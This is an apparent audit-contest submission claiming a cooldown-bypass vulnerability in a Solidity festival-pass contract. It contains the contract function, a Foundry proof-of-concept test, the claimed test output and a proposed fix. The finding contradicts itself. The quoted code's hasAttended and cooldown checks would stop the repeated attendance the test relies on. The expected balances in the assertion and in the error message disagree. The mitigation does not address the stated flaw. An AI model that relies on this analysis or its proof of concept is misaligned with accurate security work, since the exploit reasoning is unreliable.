Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Cooldown Bypass with Multiple Passes

Root + Impact

Description

The attendPerformance awards BeatToken rewards with a 1-hour cooldown, checked via hasPass. The No per-pass tracking allows users with multiple passes to attend the same performance multiple times via transfers, bypassing the cooldown.

// FestivalPass.sol
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass"); // @> Any pass qualifies
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

Risk

Likelihood:

  • Requires multiple passes (via purchase or transfer), feasible but constrained by passMaxSupply.

  • Exploit path needs specific conditions (pass transfers).

Impact:

  • Indirect fund risk via excessive BeatToken rewards.

  • Moderate disruption of reward distribution fairness.

Proof of Concept

// In FestivalPassTest.sol
function test_CooldownBypassWithMultiplePasses() public {
// User1 buys GENERAL_PASS and VIP_PASS
vm.prank(user1);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.prank(user1);
festivalPass.buyPass{value: VIP_PRICE}(2);
assertEq(festivalPass.balanceOf(user1, 1), 1);
assertEq(festivalPass.balanceOf(user1, 2), 1);
assertEq(beatToken.balanceOf(user1), 5e18); // VIP bonus
// Create performance
vm.prank(organizer);
uint256 perfId = festivalPass.createPerformance(block.timestamp + 1 hours, 2 hours, 100e18);
vm.warp(block.timestamp + 90 minutes);
// Attend with GENERAL_PASS
vm.prank(user1);
festivalPass.attendPerformance(perfId);
assertEq(beatToken.balanceOf(user1), 5e18 + 100e18); // 1x reward
// Transfer GENERAL_PASS to user2
vm.prank(user1);
festivalPass.safeTransferFrom(user1, user2, 1, 1, "");
assertEq(festivalPass.balanceOf(user1, 1), 0);
assertEq(festivalPass.balanceOf(user2, 1), 1);
// Attend again with VIP_PASS (bypasses cooldown)
vm.prank(user1);
festivalPass.attendPerformance(perfId);
assertEq(beatToken.balanceOf(user1), 5e18 + 100e18 + 200e18); // 2x reward
}
Output:
The test failed with this assertion error:
[FAIL: assertion failed: 205000000000000000000 != 105000000000000000000] test_CooldownBypassWithMultiplePasses()
This means the expected BeatToken balance was 105e18 but the actual balance was 205e18.

Recommended Mitigation

// FestivalPass.sol
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
+ uint256 multiplier = getMultiplier(msg.sender);
+ require(multiplier > 0, "No valid pass owned");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
- uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.